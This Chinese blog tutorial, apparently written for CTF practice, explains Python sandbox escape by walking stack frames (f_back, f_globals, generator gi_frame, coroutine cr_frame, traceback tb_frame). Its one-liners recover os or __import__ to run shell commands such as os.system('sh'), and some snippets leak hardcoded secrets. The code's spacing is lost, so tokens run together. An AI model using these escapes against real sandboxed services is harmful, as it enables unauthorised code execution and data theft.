2026/4/18 17:58:13
网站建设
项目流程
做网站录入和查询需求,广元网站建设广元,兰州建设一个网站多少钱,去掉/wordpress什么是栈帧
每当Python调用一个函数时#xff0c;它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息。包括#xff1a;
局部变量 (f_locals)全局变量 (f_globals)上一级调用者的栈帧 (f_back)代码对象 (f_code)内置对象 (f_builtins)
我们可以把…什么是栈帧每当Python调用一个函数时它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息。包括局部变量 (f_locals)全局变量 (f_globals)上一级调用者的栈帧 (f_back)代码对象 (f_code)内置对象 (f_builtins)我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部通过f_back指针我们可以一步步往回找直到找到最外层的程序入口。利用栈帧技术我们可以在首先的环境中穿越由于函数调用产生的层级去获取上层甚至全局作用域中的敏感变量或危险函数。栈帧属性下面介绍一些常用的栈帧属性。属性描述用途f_back指向上一层调用者的栈帧对象最核心属性。用于跳出当前受限函数回到上层寻找可用模块如os。f_globals当前栈帧的全局变量字典获取全局加载的模块如os,sys或配置信息 (SECRET_KEY)。f_locals当前栈帧的局部变量字典获取函数内部定义的敏感变量如flag。f_builtins当前栈帧可用的内置函数如果当前环境删除了__builtins__可从上层栈帧找回。f_code当前栈帧执行的代码对象查看文件名、代码指令等信息。f_back这是最核心的属性。它的作用是跳出当前函数的作用域去操作调用者环境中的东西。写一个demo看一下importsysdefsandbox():print([*] 进入沙箱函数...)# 1. 获取当前栈帧current_framesys._getframe()# 2. 利用 f_back 回到上一层 (main 函数的栈帧)caller_framecurrent_frame.f_back# 3. 偷看上一层的局部变量print(f[!] 成功获取上层变量:{caller_frame.f_locals[flag]})defmain():# 这是定义在 main 里的局部变量正常情况下 sandbox 访问不到flagCTF{f_back_is_awesome}sandbox()if__name____main__:main()可以看到sandbox函数中的变量拿到了main函数中变量的值说明f_back跳出了当前函数的作用域。f_globals它的作用是不管我们在哪一层通过它都能拿到当前模块加载的所有全局变量和导入的库。写一个demo假如我们在一个函数内部不能写import但是我们想用os模块只要这个脚本的最外层导入过os我们就能拿到os模块。importsysimportos# 假设这是题目自带的你不能修改defvulnerable():# 假设这里不能直接用 os.system或者被过滤了# 1. 获取当前栈帧fsys._getframe()# 2. 查看全局变量字典 (f_globals)# 这就像打开了上帝视角的仓库global_varsf.f_globalsifosinglobal_vars:print([] 在全局变量中找到了 os 模块)# 3. 直接通过字典调用 osglobal_vars[os].system(echo Command Executed via f_globals)vulnerable()这是沙箱逃逸的主力。即使当前环境什么都没有只要顺着f_back找到某一层这一层的f_globals有os、sys等就可以rce了。f_locals它的作用是查看特定函数内部的私有变量。importsysdefsecret_function():# 这是一个只有函数内部知道的秘密user_passwordMySuperSecretPassword123# 假设攻击者能在这里执行一行代码framesys._getframe()# 直接打印当前帧的所有局部变量print(f[!] 泄露当前作用域的所有变量:{frame.f_locals})secret_function()特定情况下我们可以通过读取f_locals来窃取敏感数据。f_builtins它的作用是获取Python原生的内置函数如openimporteval。写一个demo这个沙箱中把open和print变成了None。importsys# 模拟沙箱环境 # 题目把 print 和 open 删了printNoneopenNone# defescape():framesys._getframe()# 尝试直接调用 print会报错因为它是 None# print(hello) - Error# 但是栈帧里的 f_builtins 保存着 Python 最原始的内置函数original_printframe.f_builtins[print]original_print([] 成功从 f_builtins 恢复了 print 函数)# 甚至可以找回 __import__ 来重新导入模块original_importframe.f_builtins[__import__]os_modoriginal_import(os)original_print(f[] 重新导入了 os 模块:{os_mod})escape()f_code它的作用是提供关于代码本身的信息文件名、函数名、行号、字节码。当我们不知道代码运行在哪里文件名叫什么函数名叫什么时我们就需要探测环境。importsysdefunknown_environment():fsys._getframe()code_objf.f_codeprint(f当前函数名 (co_name):{code_obj.co_name})print(f当前文件名 (co_filename):{code_obj.co_filename})print(f当前参数数量 (co_argcount):{code_obj.co_argcount})print(f局部变量名列表 (co_varnames):{code_obj.co_varnames})unknown_environment()利用手法一、sys在Python中主要通过sys模块来获取栈帧。最常用的是sys._getframe()。我们需要先拿到当前帧才能往上爬。importsys framesys._getframe()经典攻击利用手法是爬栈窃取。加入我们想执行os.system(‘/bin/sh’)但在当前函数里os不存在。假设主程序加载了os模块或者加载了其他模块引用了os获取当前位置fsys._getframe()向上爬一层ff.back查看当前层f.f_globals拿到osos_modulef.f_globals[os]执行命令os_module.system(whoami)本地执行看一下基本逻辑。本地测试当前位置在主函数外层os在开头导入时os属于全局变量直接global拿到即可。当os在main函数中导入时为什么会报错因为os是在main函数中导入的它的作用域只有main函数内部不属于全局变量全局变量只有开头导入的sys和main函数本身。所以我们要用f_locals来找到局部变量中的os。如果是在main函数中导入的os但当前位置在其他函数中我们不改变源码看看会怎么样可以看到并没有找到os模块局部变量的所有属性中也没有看到os模块。注意到exp函数在main函数中被调用所以main函数是exp函数的上一层。而os模块在main函数中被导入所以我们翻到上一层找局部变量即可。如果没有os模块只有sys模块可以通过sys.modules找到os模块也就是sys.modules[‘os’].system(‘whoami’)。这里的modules应该怎么拿呢f[sys][modules][os] 还是 f[sys].modules[os] 我们先来看第一种。可以看到报错。原因是f[‘sys’]取出来的是sys模块对象而不是字典。要取出这个对象的属性要用点字符连接的形式。f[sys].modules[os]二、生成器利用生成器我们不需要import也不需要def定义函数甚至不需要显式的函数调用就能拿到栈帧。什么是生成器在Python中想要拿到栈帧通常有两条路利用sys._getframe()这需要导入sys还需要调用函数。利用生成器对象这时Python的语法特性。(x for x in [])就是一个最简单的生成器。当我们写下这个时Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态哪怕它还没开始跑或者它是空的解释器必须给它分配一个栈帧并把这个栈帧挂在它的gi_frame属性上。[x for x in []]是一个列表推导式计算完结果后扔掉过程没有栈帧留下。(x for x in [])是一个未执行或者“懒执行”的任务包保留栈帧。生成器属性gi_frame它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。g.gi_frame.f_back.f_globalsgi_code它返回的是一个代码对象。即使我们无法通过gi_frame拿到f_locals比如变量被删了我们依然可以通过gi_code看到编译后的静态数据。defcheck():ifinput()FLAG{Hardcoded_Secret}:returnTrueyieldgcheck()# 1. 获取代码对象codeg.gi_code# 2. 读取代码中所有的常量 (Constant values)# 这里面会包含所有的字符串、数字、None 等硬编码的值print(code.co_consts)# 输出: (None, FLAG{Hardcoded_Secret})既不需要执行代码也不需要拿到栈帧只要拿到生成器就能拿到所有常量。还有其他敏感属性g.gi_code.co_name: 函数名。 g.gi_code.co_filename: 泄露服务器上的绝对路径这点在文件包含漏洞中非常有用。 g.gi_code.co_code: 原始字节码配合 dis 模块进行逆向。gi_yieldfrom当生成器使用了yield from other_gen()的语法时当前的生成器会委托给other_gen。此时g.gi_frame指向的是外层生成器的帧。而g.gi_yieldfrom指向的是内层那个正在干活的生成器。如果环境藏在一个嵌套很深的生成器中或者外层环境被清理的很干净我们需要利用gi_yieldfrom钻到内层去拿栈帧。definner():# 假设这里面有敏感数据secretDeep Secretyielddefouter():yieldfrominner()# 委托给 innergouter()next(g)# 启动生成器让它卡在 yield from 那一行# 此时 g 是 outerprint(fOuter Frame:{g.gi_frame.f_code.co_name})# - outer# 通过 gi_yieldfrom 拿到 inner 生成器inner_geng.gi_yieldfromprint(fInner Frame:{inner_gen.gi_frame.f_code.co_name})# - inner# 进而拿到 inner 的局部变量print(inner_gen.gi_frame.f_locals)gi_running这是一个布尔值。当生成器正在执行时为1当生成器暂停时为0。了解即可。当我们拿到生成器时我们首选gi.frame配合sys的属性进行越狱。其次选择gi_code找可能存在的信息泄露最后找gi_yieldfrom。使用方式找到全局os模块# 适用于f_back 一层就能回到全局且全局里有 os 模块(xforxin[]).gi_frame.f_back.f_globals[os].system(whoami)os在全局导入时os在生成器存在的函数内部导入时为什么会报错我们的代码没有任何问题啊我们的python版本过高了Python3.11。生成器高版本Python报错(xforxin[]).gi_frame.f_back.f_locals# 1. (x for x in []).gi_frame - 获取生成器帧 (成功不是 None)# 2. .f_back - 获取上一层帧 (失败这里返回了 None)# 3. .f_locals - None.f_locals (报错)在python3.10及以前生成器创建时gi_frame.f_back会直接指向创建它的那个函数也就是innder。python3.11版本的生成器在刚刚创建但尚未运行Suspended状态时它的栈帧是“孤立”的或者与调用栈的链接方式变了导致f_back为None。只有当生成器正在运行时它才会链接到调用栈。因此高版本无法利用静态生成器的栈帧。如果想要利用它必须让它先动起来。definner():importos# 1. 先定义生成器但不立即用g(xforxin[1])# 2. 让它运行一步# 这会强制 Python 创建并链接栈帧try:next(g)exceptStopIteration:pass# 3. 现在再去拿 f_back有时候就能拿到了# (注这在不同微版本中表现不稳定不推荐作为首选)ifg.gi_frame.f_back:g.gi_frame.f_back.f_locals[os].system(whoami)defmain():inner()if__name____main__:main()但是它在沙箱逃逸中并不好用仅作简单了解。手动导入os模块# 适用于全局里没有 os或者 sys 被删了# 思路找 builtins - 找 __import__ - 加载 os(xforxin[]).gi_frame.f_back.f_globals[__builtins__][__import__](os).system(whoami)同样的高版本python无法使用。看硬编码常量importsys# 全局常量GLOBAL_STRHello, World!definner():# 局部常量LOCAL_STRInner Function# 创建生成器gen(xforxin[])# 查看生成器自己的常量 (空)print(生成器内部的常量:,gen.gi_code.co_consts)# 利用栈帧跳到 inner 函数层看它的代码常量# 路径: 生成器帧 - 上一层(inner)帧 - inner的代码对象 - 常量池inner_constsgen.gi_frame.f_back.f_code.co_constsprint(inner 函数的常量:,inner_consts)# 再跳一层到全局看全局的代码常量# 路径: ... - 再上一层(module)帧 - module的代码对象 - 常量池module_constsgen.gi_frame.f_back.f_back.f_code.co_constsprint(Global 模块的常量:,module_consts)defmain():inner()if__name____main__:main()同样的高版本python无法使用。三、异步挂起协程coroutine.cr_frame在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时它不会把这个函数当成普通函数而是把它编译成一个原生协程工厂。关键特性当我们调用一个asycn def函数时代码不会立即执行与生成器相同它会返回一个协程对象Coroutine Object。这个对象内部已经分配好了一个栈帧用来保存未来的执行状态。这个栈帧就挂载在cr_frame上。核心属性cr_frame它的地位等同于生成器的gi_frame。对象类型关键字栈帧属性名地位生成器yieldgi_frame3.11 无法使用协程asynccr_frameWAF 绕过率高之所以叫异步挂起是因为async def叫做异步函数调用它能得到协程对象。协程天生就是为了挂起和等待设计的。当我们创建一个协程对象但还没await时它就处于Created初始挂起状态。此时它的栈帧是静止的任由我们摆布。使用方式# 1. 定义一个异步函数 (不需要 await空的就行)asyncdefspy():pass# 2. 调用它 - 得到协程对象 c# 注意此时 spy 里的代码没跑但 c 已经拿到栈帧了cspy()# 3. 拿到栈帧 - 拿到 globals - 拿到 os# 这里的路径是c.cr_frame (协程帧) - .f_globals (全局字典)# 注意这里不需要 f_back因为 spy 是在当前上下文定义的它的 globals 就是当前的 globalsos_modc.cr_frame.f_globals.get(__builtins__).__import__.(os)# 也可以用[__builtins__]# 4. 执行命令os_mod.system(whoami)最后有一行报错RuntimeWarning: coroutine spy was never awaited他的意思是我们创建了一个协程spy但是我们从来没有await它它没有执行这正是我们想要的我们不需要它执行我们只需要它被创建的那一瞬间产生的栈帧。四、异常回溯Traceback核心原理当Python程序运行出错时解释器不能崩溃退出它需要保留案发现场。它需要创建一个Traceback Object回溯对象详细记录在哪一行出错的在哪个函数出错的当时上下文栈帧是什么。因为只有保留了栈帧tb_frame调试器或者打印错误的程序才能告诉你当时的变量值。利用链Exception (异常对象): 错误发生后生成的对象比如ZeroDivisionError。__traceback__(属性): 挂在异常对象上的回溯记录。tb_frame(属性): 回溯记录里保存的栈帧对象这是我们的重要利用点。f_globals(属性): 栈帧里的全局变量啊在这里找到os等。只要能写try…Exception这个方法就能拿到栈帧。使用方式基本利用defescape():try:1/0exceptExceptionase:# e 是异常对象# e.__traceback__ 是回溯记录# .tb_frame 是当前栈帧 (相当于 sys._getframe())framee.__traceback__.tb_frame# 2. 拿到栈帧后剩下的操作和之前一模一样frame.f_back.f_globals[__builtins__].__import__(os).system(whoami)escape()它可以写成一行# 只要允许try Exception就能使用try:raiseExceptionexceptExceptionase:e.__traceback__.tb_frame.f_back.f_globals[os].system(sh)多层异常有时候错误是层层传递的比如 A 调用 BB 报错了。traceback对象实际上是一个链表。属性含义tb_frame当前层的栈帧。tb_next指向更深一层(被调用者) 的 traceback 对象。tb_lineno出错的代码行号。有些题目会把你包裹在一个很深的调用链里或者利用sys.exc_info()来获取全局唯一的那个 traceback。importsysdefdeep_error():1/0defmain():try:deep_error()except:# sys.exc_info() 返回 (type, value, traceback)tbsys.exc_info()[2]# 此时 tb 指向的是 main 这一层的错误现场print(f当前层:{tb.tb_frame.f_code.co_name})# - main# tb.tb_next 指向导致错误的更深一层 (deep_error)iftb.tb_next:print(f内层:{tb.tb_next.tb_frame.f_code.co_name})# - deep_errorprint(tb.tb_next.tb_frame.f_globals[__builtins__].__import__(os).system(whoami))if__name____main__:main()